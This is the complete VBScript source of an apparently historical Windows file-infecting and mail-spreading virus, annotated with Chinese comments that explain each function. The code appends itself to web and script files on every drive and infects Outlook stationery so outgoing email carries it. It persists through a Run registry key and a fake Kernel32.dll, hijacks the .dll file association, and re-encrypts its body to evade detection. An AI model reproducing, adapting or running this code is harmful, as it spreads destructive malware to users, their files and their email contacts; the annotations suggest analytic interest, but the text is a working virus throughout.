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Dim InWhere, HtmlText, VbsText, DegreeSign, AppleObject, FSO, WsShell, WinPath, SubE, FinalyDisk
Sub KJ_start()
' 初始化变量
KJSetDim()
' 初始化情况
KJCreateMilieu()
' 传染当地可能共享上与html地址目次
KJLikeIt()
' 通过vbs传染Outlook邮件模板
KJCreateMail()
' 举办病毒流传
KJPropagate()
End Sub
' 函数：KJAppendTo(FilePath,TypeStr)
' 成果：向指定范例的指定文件追加病毒
' 参数：
' FilePath 指定文件路径
' TypeStr 指定范例
Function KJAppendTo(FilePath, TypeStr)
On Error Resume Next
' 以只读方法打开指定文件
Set ReadTemp = FSO.OpenTextFile(FilePath, 1)
' 将文件内容读入到TmpStr变量中
TmpStr = ReadTemp.ReadAll
' 判定文件中是否存在"KJ_start()"字符串，若存在说明已经传染，退出函数；
' 若文件长度小于1，也退出函数。
If InStr(TmpStr, "KJ_start()") <> 0 Or Len(TmpStr) < 1 Then
ReadTemp.Close
Exit Function
End If
' 假如传过来的范例是"htt"
' 在文件头加上挪用页面的时候加载KJ_start()函数;
' 在文件尾追加html版本的加密病毒体。
' 假如是"html"
' 在文件尾追加挪用页面的时候加载KJ_start()函数和html版本的病毒体;
' 假如是"vbs"
' 在文件尾追加vbs版本的病毒体
If TypeStr = "htt" Then
ReadTemp.Close
Set FileTemp = FSO.OpenTextFile(FilePath, 2)
FileTemp.Write "<" & "BODY onload="""
& "vbscript:" & "KJ_start()""" & ">" & vbCrLf & TmpStr & vbCrLf & HtmlText
FileTemp.Close
Set FAttrib = FSO.GetFile(FilePath)
FAttrib.Attributes = 34
Else
ReadTemp.Close
Set FileTemp = FSO.OpenTextFile(FilePath, 8)
If TypeStr = "html" Then
FileTemp.Write vbCrLf & "<" & "HTML>" & vbCrLf & "<"
& "BODY onload=""" & "vbscript:" & "KJ_start()""" & ">" & vbCrLf & HtmlText
ElseIf TypeStr = "vbs" Then
FileTemp.Write vbCrLf & VbsText
End If
FileTemp.Close
End If
End Function
' 函数：KJChangeSub(CurrentString,LastIndexChar)
' 成果：改变子目次以及盘符
' 参数：
' CurrentString 当前目次
' LastIndexChar 上一级目次在当前路径中的位置
Function KJChangeSub(CurrentString, LastIndexChar)
' 判定是否是根目次
If LastIndexChar = 0 Then
' 假如是根目次
' 假如是C:\，返回FinalyDisk盘，并将SubE置为0，
' 假如不是C:\，返回将当前盘符递减1，并将SubE置为0
If Left(LCase(CurrentString), 1) = < LCase("c") Then
KJChangeSub = FinalyDisk & ":\"
SubE = 0
Else
KJChangeSub = Chr(Asc(Left(LCase(CurrentString), 1)) - 1) & ":\"
SubE = 0
End If
Else
' 假如不是根目次，则返回上一级目次名称
KJChangeSub = Mid(CurrentString, 1, LastIndexChar)
End If
End Function
' 函数：KJCreateMail()
' 成果：传染邮件部门
Function KJCreateMail()
On Error Resume Next
' 假如当前执行文件是"html"的，就退出函数
If InWhere = "html" Then
Exit Function
End If
' 取系统盘的空缺页的路径
ShareFile = Left(WinPath, 3) & "Program Files\Common Files\Microsoft Shared\Stationery\blank.htm"
' 假如存在这个文件，就向其追加html的病毒体
' 不然生成含有病毒体的这个文件
If (FSO.FileExists(ShareFile)) Then
Call KJAppendTo(ShareFile, "html")
Else
Set FileTemp = FSO.OpenTextFile(ShareFile, 2, true)
FileTemp.Write "<" & "HTML>" & vbCrLf & "<" & "BODY onload=""" & "vbscript:" & "KJ_start()""" & ">" & vbCrLf & HtmlText
FileTemp.Close
End If
' 取恰当前用户的ID和OutLook的版本
DefaultId = WsShell.RegRead("HKEY_CURRENT_USER\Identities\Default User ID")
OutLookVersion = WsShell.RegRead("HKEY_LOCAL_MACHINE\Software\Microsoft\Outlook Express\MediaVer")
' 激活信纸成果，并传染所有信纸
WsShell.RegWrite "HKEY_CURRENT_USER\Identities\"&DefaultId&"\Software\Microsoft\Outlook Express\"& Left(OutLookVersion, 1) &".0\Mail\Compose Use Stationery", 1, "REG_DWORD"
Call KJMailReg("HKEY_CURRENT_USER\Identities\"&DefaultId&"\Software\Microsoft\Outlook Express\"& Left(OutLookVersion, 1) &".0\Mail\Stationery Name", ShareFile)
Call KJMailReg("HKEY_CURRENT_USER\Identities\"&DefaultId&"\Software\Microsoft\Outlook Express\"& Left(OutLookVersion, 1) &".0\Mail\Wide Stationery Name", ShareFile)
WsShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Outlook\Options\Mail\EditorPreference", 131072, "REG_DWORD"
Call KJMailReg("HKEY_CURRENT_USER\Software\Microsoft\Windows Messaging Subsystem\Profiles\Microsoft Outlook Internet Settings\0a0d020000000000c000000000000046\001e0360", "blank")
Call KJMailReg("HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Microsoft Outlook Internet Settings\0a0d020000000000c000000000000046\001e0360", "blank")
WsShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Outlook\Options\Mail\EditorPreference", 131072, "REG_DWORD"
Call KJMailReg("HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Common\MailSettings\NewStationery", "blank")
KJummageFolder(Left(WinPath, 3) & "Program Files\Common Files\Microsoft Shared\Stationery")
End Function
' 函数:KJCreateMilieu()
' 成果：建设系统情况
Function KJCreateMilieu()
On Error Resume Next
TempPath = ""
' 判定操纵系统是NT/2000照旧9X
If Not(FSO.FileExists(WinPath & "WScript.exe")) Then
TempPath = "system32\"
End If
' 为了文件名起到疑惑性，而且不会与系统文件斗嘴。
' 假如是NT/2000则启动文件为system\Kernel32.dll
' 假如是9x启动文件则为system\Kernel.dll
If TempPath = "system32\" Then
StartUpFile = WinPath & "SYSTEM\Kernel32.dll"
Else
StartUpFile = WinPath & "SYSTEM\Kernel.dll"
End If
' 添加Run值，添加适才生成的启动文件路径
WsShell.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Kernel32", StartUpFile
' 拷贝前期备份的文件到本来的目次
FSO.CopyFile WinPath & "web\kjwall.gif", WinPath & "web\Folder.htt"
FSO.CopyFile WinPath & "system32\kjwall.gif", WinPath & "system32\desktop.ini"
' 向%windir%\web\Folder.htt追加病毒体
Call KJAppendTo(WinPath & "web\Folder.htt", "htt")
' 改变dll的MIME头
' 改变dll的默认图标
' 改变dll的打开方法
WsShell.RegWrite "HKEY_CLASSES_ROOT\.dll\", "dllfile"
WsShell.RegWrite "HKEY_CLASSES_ROOT\.dll\Content Type", "application/x-msdownload"
WsShell.RegWrite "HKEY_CLASSES_ROOT\dllfile\DefaultIcon\", WsShell.RegRead("HKEY_CLASSES_ROOT\vxdfile\DefaultIcon\")
WsShell.RegWrite "HKEY_CLASSES_ROOT\dllfile\ScriptEngine\", "VBScript"
WsShell.RegWrite "HKEY_CLASSES_ROOT\dllFile\Shell\Open\Command\", WinPath & TempPath & "WScript.exe ""%1"" %*"
WsShell.RegWrite "HKEY_CLASSES_ROOT\dllFile\ShellEx\PropertySheetHandlers\WSHProps\", "{60254CA5-953B-11CF-8C96-00AA00B8708C}"
WsShell.RegWrite "HKEY_CLASSES_ROOT\dllFile\ScriptHostEncode\", "{85131631-480C-11D2-B1F9-00C04F86C324}"
' 启动时加载的病毒文件中写入病毒体
Set FileTemp = FSO.OpenTextFile(StartUpFile, 2, true)
FileTemp.Write VbsText
FileTemp.Close
End Function
' 函数：KJLikeIt()
' 成果：针对html文件举办处理惩罚，假如会见的是当地的可能共享上的文件，将传染这个目次
Function KJLikeIt()
' 假如当前执行文件不是"html"的就退出措施
If InWhere <> "html" Then
Exit Function
End If
' 取得文档当前路径
ThisLocation = document.location
' 假如是当地或网上共享文件
If Left(ThisLocation, 4) = "file" Then
ThisLocation = Mid(ThisLocation, 9)
' 假如这个文件扩展名不为空，在ThisLocation中生存它的路径
If FSO.GetExtensionName(ThisLocation) <> "" Then
ThisLocation = Left(ThisLocation, Len(ThisLocation) - Len(FSO.GetFileName(ThisLocation)))
End If
' 假如ThisLocation的长度大于3就尾追一个"\"
If Len(ThisLocation) > 3 Then
ThisLocation = ThisLocation & "\"
End If
' 传染这个目次
KJummageFolder(ThisLocation)
End If
End Function
' 函数：KJMailReg(RegStr,FileName)
' 成果：假如注册表指定键值不存在，则向指定位置写入指定文件名
' 参数：
' RegStr 注册表指定键值
' FileName 指定文件名
Function KJMailReg(RegStr, FileName)
On Error Resume Next
' 假如注册表指定键值不存在，则向指定位置写入指定文件名
RegTempStr = WsShell.RegRead(RegStr)
If RegTempStr = "" Then
WsShell.RegWrite RegStr, FileName
End If
End Function
' 函数：KJOboSub(CurrentString)
' 成果：遍历并返回目次路径
' 参数：
' CurrentString 当前目次
Function KJOboSub(CurrentString)
SubE = 0
TestOut = 0
Do While True
TestOut = TestOut + 1
If TestOut > 28 Then
CurrentString = FinalyDisk & ":\"
Exit Do
End If
On Error Resume Next
' 取恰当前目次的所有子目次，而且放到字典中
Set ThisFolder = FSO.GetFolder(CurrentString)
Set DicSub = CreateObject("Scripting.Dictionary")
Set Folders = ThisFolder.SubFolders
FolderCount = 0
For Each TempFolder in Folders
FolderCount = FolderCount + 1
DicSub.Add FolderCount, TempFolder.Name
Next
' 假如没有子目次了，就挪用KJChangeSub返回上一级目次可能改换盘符，并将SubE置1
If DicSub.Count = 0 Then
LastIndexChar = InstrRev(CurrentString, "\", Len(CurrentString) -1)
SubString = Mid(CurrentString, LastIndexChar + 1, Len(CurrentString) - LastIndexChar -1)
CurrentString = KJChangeSub(CurrentString, LastIndexChar)
SubE = 1
Else
' 假如存在子目次
' 假如SubE为0，则将CurrentString变为它的第1个子目次
If SubE = 0 Then
CurrentString = CurrentString & DicSub.Item(1) & "\"
Exit Do
Else
' 假如SubE为1，继承遍历子目次，并将下一个子目次返回
j = 0
For j = 1 To FolderCount
If LCase(SubString) = LCase(DicSub.Item(j)) Then
If j < FolderCount Then
CurrentString = CurrentString & DicSub.Item(j + 1) & "\"
Exit Do
End If
End If
Next
LastIndexChar = InstrRev(CurrentString, "\", Len(CurrentString) -1)
SubString = Mid(CurrentString, LastIndexChar + 1, Len(CurrentString) - LastIndexChar -1)
CurrentString = KJChangeSub(CurrentString, LastIndexChar)
End If
End If
Loop
KJOboSub = CurrentString
End Function
' 函数：KJPropagate()
' 成果：病毒流传
Function KJPropagate()
On Error Resume Next
RegPathvalue = "HKEY_LOCAL_MACHINE\Software\Microsoft\Outlook Express\Degree"
DiskDegree = WsShell.RegRead(RegPathvalue)
' 假如不存在Degree这个键值，DiskDegree则为FinalyDisk盘
If DiskDegree = "" Then
DiskDegree = FinalyDisk & ":\"
End If
' 继DiskDegree置后传染5个目次
For i = 1 To 5
DiskDegree = KJOboSub(DiskDegree)
KJummageFolder(DiskDegree)
Next
' 将传染记录生存在"HKEY_LOCAL_MACHINE\Software\Microsoft\Outlook Express\Degree"键值中
WsShell.RegWrite RegPathvalue, DiskDegree
End Function
' 函数：KJummageFolder(PathName)
' 成果：传染指定目次
' 参数：
' PathName 指定目次
Function KJummageFolder(PathName)
On Error Resume Next
' 取得目次中的所有文件集
Set FolderName = FSO.GetFolder(PathName)
Set ThisFiles = FolderName.Files
HttExists = 0
For Each ThisFile In ThisFiles
FileExt = UCase(FSO.GetExtensionName(ThisFile.Path))
' 判定扩展名
' 若是HTM,HTML,ASP,PHP,JSP则向文件中追加HTML版的病毒体
' 若是VBS则向文件中追加VBS版的病毒体
' 若是HTT,则符号为已经存在HTT了
If FileExt = "HTM" Or FileExt = "HTML" Or FileExt = "ASP" Or FileExt = "PHP" Or FileExt = "JSP" Then
Call KJAppendTo(ThisFile.Path, "html")
ElseIf FileExt = "VBS" Then
Call KJAppendTo(ThisFile.Path, "vbs")
ElseIf FileExt = "HTT" Then
HttExists = 1
End If
Next
' 假如所给的路径是桌面，则符号为已经存在HTT了
If (UCase(PathName) = UCase(WinPath & "Desktop\")) Or (UCase(PathName) = UCase(WinPath & "Desktop"))Then
HttExists = 1
End If
' 假如不存在HTT
' 向目次中追加病毒体
If HttExists = 0 Then
FSO.CopyFile WinPath & "system32\desktop.ini", PathName
FSO.CopyFile WinPath & "web\Folder.htt", PathName
End If
End Function
' 函数KJSetDim()
' 界说FSO,WsShell工具
' 取得最后一个可用磁盘卷标
' 生成熏染用的加密字串
' 备份系统中的web\folder.htt和system32\desktop.ini
Function KJSetDim()
On Error Resume Next
Err.Clear
' 测试当前执行文件是html照旧vbs
TestIt = WScript.ScriptFullname
If Err Then
InWhere = "html"
Else
InWhere = "vbs"
End If
' 建设文件会见工具和Shell工具
If InWhere = "vbs" Then
Set FSO = CreateObject("Scripting.FileSystemObject")
Set WsShell = CreateObject("WScript.Shell")
Else
Set AppleObject = document.applets("KJ_guest")
AppleObject.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}")
AppleObject.createInstance()
Set WsShell = AppleObject.GetObject()
AppleObject.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}")
AppleObject.createInstance()
Set FSO = AppleObject.GetObject()
End If
Set DiskObject = FSO.Drives
' 判定磁盘范例
'
' 0: Unknown
' 1: Removable
' 2: Fixed
' 3: Network
' 4: CD-ROM
' 5: RAM Disk
' 假如不是可移动磁盘可能牢靠磁盘就跳出轮回。大概作者思量的是网络磁盘、CD-ROM、RAM Disk都是在较量靠后的位置。呵呵，假如C:是RAMDISK会怎么样？
For Each DiskTemp In DiskObject
If DiskTemp.DriveType <> 2 And DiskTemp.DriveType <> 1 Then
Exit For
End If
FinalyDisk = DiskTemp.DriveLetter
Next
' 此前的这段病毒体已经解密，而且存放在ThisText中，此刻为了流传，需要对它举办再加密。
' 加密算法
Dim OtherArr(3)
Randomize
' 随机生成4个算子
For i = 0 To 3
OtherArr(i) = Int((9 * Rnd))
Next
TempString = ""
For i = 1 To Len(ThisText)
TempNum = Asc(Mid(ThisText, i, 1))
'对回车、换行(0x0D,0x0A)做出格的处理惩罚
If TempNum = 13 Then
TempNum = 28
ElseIf TempNum = 10 Then
TempNum = 29
End If
'很简朴的加密处理惩罚，每个字符减去相应的算子，那么在解密的时候只要凭据这个顺序每个字符加上相应的算子就可以了。
TempChar = Chr(TempNum - OtherArr(i Mod 4))
If TempChar = Chr(34) Then
TempChar = Chr(18)
End If
TempString = TempString & TempChar
Next
' 含有解密算法的字串
UnLockStr = "Execute(""Dim KeyArr(3),ThisText""&vbCrLf&""KeyArr(0) = " & OtherArr(0) & """&vbCrLf&""KeyArr(1) = " & OtherArr(1) & """&vbCrLf&""KeyArr(2) = " & OtherArr(2) & """&vbCrLf&""KeyArr(3) = " & OtherArr(3) & """&vbCrLf&""For i=1 To Len(ExeString)""&vbCrLf&""TempNum = Asc(Mid(ExeString,i,1))""&vbCrLf&""If TempNum = 18 Then""&vbCrLf&""TempNum = 34""&vbCrLf&""End If""&vbCrLf&""TempChar = Chr(TempNum + KeyArr(i Mod 4))""&vbCrLf&""If TempChar = Chr(28) Then""&vbCrLf&""TempChar = vbCr""&vbCrLf&""ElseIf TempChar = Chr(29) Then""&vbCrLf&""TempChar = vbLf""&vbCrLf&""End If""&vbCrLf&""ThisText = ThisText & TempChar""&vbCrLf&""Next"")" & vbCrLf & "Execute(ThisText)"
' 将加密好的病毒体复制给变量 ThisText
ThisText = "ExeString = """ & TempString & """"
' 生成html传染用的剧本
HtmlText = "<" & "script language=vbscript>" & vbCrLf & "document.write " & """" & "<" & "div style='position:absolute; left:0px; top:0px; width:0px; height:0px; z-index:28; visibility: hidden'>" & "<""&""" & "APPLET NAME=KJ""&""_guest HEIGHT=0 WIDTH=0 code=com.ms.""&""activeX.Active""&""XComponent>" & "<" & "/APPLET>" & "<" & "/div>""" & vbCrLf & "<" & "/script>" & vbCrLf & "<" & "script language=vbscript>" & vbCrLf & ThisText & vbCrLf & UnLockStr & vbCrLf & "<" & "/script>" & vbCrLf & "<" & "/BODY>" & vbCrLf & "<" & "/HTML>"
' 生成vbs传染用的剧本
VbsText = ThisText & vbCrLf & UnLockStr & vbCrLf & "KJ_start()"
' 取得Windows目次
' GetSpecialFolder(n)
' 0: WindowsFolder
' 1: SystemFolder
' 2: TemporaryFolder
' 假如系统目次存在web\Folder.htt和system32\desktop.ini，则用kjwall.gif文件名备份它们。
WinPath = FSO.GetSpecialFolder(0) & "\"
If (FSO.FileExists(WinPath & "web\Folder.htt")) Then
FSO.CopyFile WinPath & "web\Folder.htt", WinPath & "web\kjwall.gif"
End If
If (FSO.FileExists(WinPath & "system32\desktop.ini")) Then
FSO.CopyFile WinPath & "system32\desktop.ini", WinPath & "system32\kjwall.gif"
End If
End Function
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